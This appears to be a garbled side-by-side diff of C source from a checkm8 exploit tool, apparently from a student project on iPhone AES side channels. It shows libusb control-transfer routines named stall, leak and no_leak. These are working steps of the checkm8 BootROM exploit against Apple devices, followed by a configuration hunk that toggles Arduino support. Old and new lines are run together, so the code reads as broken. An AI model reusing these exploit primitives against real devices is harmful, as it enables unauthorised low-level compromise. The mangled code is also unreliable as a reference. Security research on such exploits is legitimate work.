0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
int stall(struct pwned_device *dev)
{
return partial_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC0_buf, 0xC0, 1);
} }
int leak(struct pwned_device *dev) int serial_descriptor(struct pwned_device *dev, unsigned char *serial_buf, int len)
{ {
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0xC0_buf, 0xC0, 1); #ifdef WITH_ARDUINO
return CHECKM8_SUCCESS;
}
int no_leak(struct pwned_device *dev) #else
{ struct libusb_device_handle *handle = dev->bundle->handle;
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0xA_0xC1_buf, 0xC1, 1); struct libusb_device_descriptor *desc = dev->bundle->descriptor;
return CHECKM8_SUCCESS;
}
int usb_req_stall(struct pwned_device *dev) libusb_get_string_descriptor_ascii(handle, desc->iSerialNumber, serial_buf, len);
{ #endif
unsigned char data[0];
no_error_ctrl_transfer(dev, 0x2, 3, 0, 0x80, data, 0, 10);
return CHECKM8_SUCCESS;
}
int usb_req_leak(struct pwned_device *dev)
{
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x40_buf, 0x40, 1);
return CHECKM8_SUCCESS;
}
int usb_req_no_leak(struct pwned_device *dev)
{
no_error_ctrl_transfer(dev, 0x80, 6, 0x304, 0x40A, data_0x0_0x41_buf, 0x41, 1);
return CHECKM8_SUCCESS;
} }

View File

@@ -3,9 +3,9 @@
//#define LIBUSB_LOGGING //#define LIBUSB_LOGGING
#define CHECKM8_LOGGING #define CHECKM8_LOGGING
#define WITH_ARDUINO //#define WITH_ARDUINO
#define ARDUINO_DEV "/dev/ttyACM0" #define ARDUINO_DEV "/dev/ttyACM0"
#define ARDUINO_BAUD B115200 #define ARDUINO_BAUD 115200
#define CHECKM8_PLATFORM 8010 #define CHECKM8_PLATFORM 8010
#define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_remote/bin/" #define CHECKM8_BIN_BASE "/home/grg/Projects/School/NCSU/iphone_aes_sc/checkm8_tool/checkm8_remote/bin/"